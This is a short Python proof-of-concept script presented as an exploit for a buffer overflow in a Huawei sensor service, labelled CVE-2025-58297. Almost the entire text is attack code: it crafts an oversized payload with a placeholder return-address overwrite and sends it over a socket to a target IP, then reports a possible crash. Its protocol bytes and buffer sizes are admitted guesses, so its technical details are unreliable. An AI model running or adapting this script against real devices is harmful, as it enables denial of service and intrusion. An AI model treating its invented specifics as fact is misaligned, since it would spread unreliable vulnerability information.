The following code is for security research and authorized testing only.
python
# CVE-2025-58297 - Huawei Sensor Service Buffer Overflow PoC
# This is a conceptual proof-of-concept for the buffer overflow vulnerability
# in Huawei device sensor service.
import socket
import struct
def craft_malicious_payload(target_ip, target_port=8080, buffer_size=8192):
"""
Craft a malicious payload to trigger buffer overflow in sensor service.
The payload contains oversized data that exceeds the buffer boundary.
"""
# Normal sensor service request header
header = b"\xAA\xBB\xCC\xDD" # Magic bytes
version = struct.pack("<H", 1) # Protocol version
cmd_id = struct.pack("<H", 0x0042) # Sensor data command
# Construct oversized payload to overflow the buffer
# The actual buffer size in sensor service is typically 1024 or 2048 bytes
overflow_data = b"\x41" * buffer_size # 'A' characters to fill buffer
# Add return address overwrite (for demonstration)
ret_address = struct.pack("<I", 0x41414141)
# Combine all parts
payload = header + version + cmd_id + overflow_data + ret_address
return payload
def exploit_sensor_service(target_ip, target_port=8080):
"""
Send the crafted payload to the vulnerable sensor service.
Note: Requires local access to the target device.
"""
try:
payload = craft_malicious_payload(target_ip, target_port)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((target_ip, target_port))
print(f"[*] Connecting to sensor service at {target_ip}:{target_port}")
print(f"[*] Sending payload of {len(payload)} bytes")
sock.send(payload)
try:
response = sock.recv(1024)
print(f"[*] Response received: {response.hex()}")
except socket.timeout:
print("[+] Service may have crashed - no response (possible DoS)")
sock.close()
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
# Target device IP (local network)
TARGET_IP = "192.168.1.100"
TARGET_PORT = 8080 # Sensor service port
print("[*] CVE-2025-58297 PoC - Huawei Sensor Service Buffer Overflow")
print("[*] WARNING: For authorized testing only!")
exploit_sensor_service(TARGET_IP, TARGET_PORT)